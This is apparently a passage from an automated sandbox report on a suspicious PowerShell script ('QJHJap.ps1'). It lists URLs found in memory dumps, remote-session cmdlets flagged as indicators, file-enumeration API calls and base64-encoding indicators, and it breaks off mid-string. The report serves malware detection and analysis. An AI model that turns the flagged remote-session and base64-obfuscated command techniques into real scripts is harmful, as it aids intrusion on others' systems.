"http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0il" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszyspa_w0" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006632.00000000.177536.07552000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006632.00000000.177536.07552000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006632.00000000.177536.72FF1000.00000020.mdmp")43:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp")44:T99c,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005716) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00005716) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005716)45:T1819,file/memory contains long string with (Indicator: "base64"; File: "QJHJap.ps1") file/memory contains long string with (Indicator: "FromBase64String"; File: "QJHJap.ps1") file/memory contains long string with (Indicator: "base64"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp, 00000000-00005716.00000000.176793.00FA0000.00000004.mdmp, 00000000-00005716.00000000.176793.012A0000.00000004.mdmp, 00000000-00005716.00000000.176793.04A80000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp, 00000000-00005716.00000000.176793.00FA0000.00000004.mdmp, 00000000-00005716.00000000.176793.012A0000.00000004.mdmp, 00000000-00005716.00000000.176793.04A80000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp, 00000000-00005716.00000000.176793.00FA0000.00000004.mdmp, 00000000-00005716.00000000.176793.012A0000.00000004.mdmp, 00000000-00005716.00000000.176793.050A0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp, 00000000-00005716.00000000.176793.00FA0000.00000004.mdmp, 00000000-00005716.00000000.176793.012A0000.00000004.mdmp, 00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp, 00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "[-WindowStyle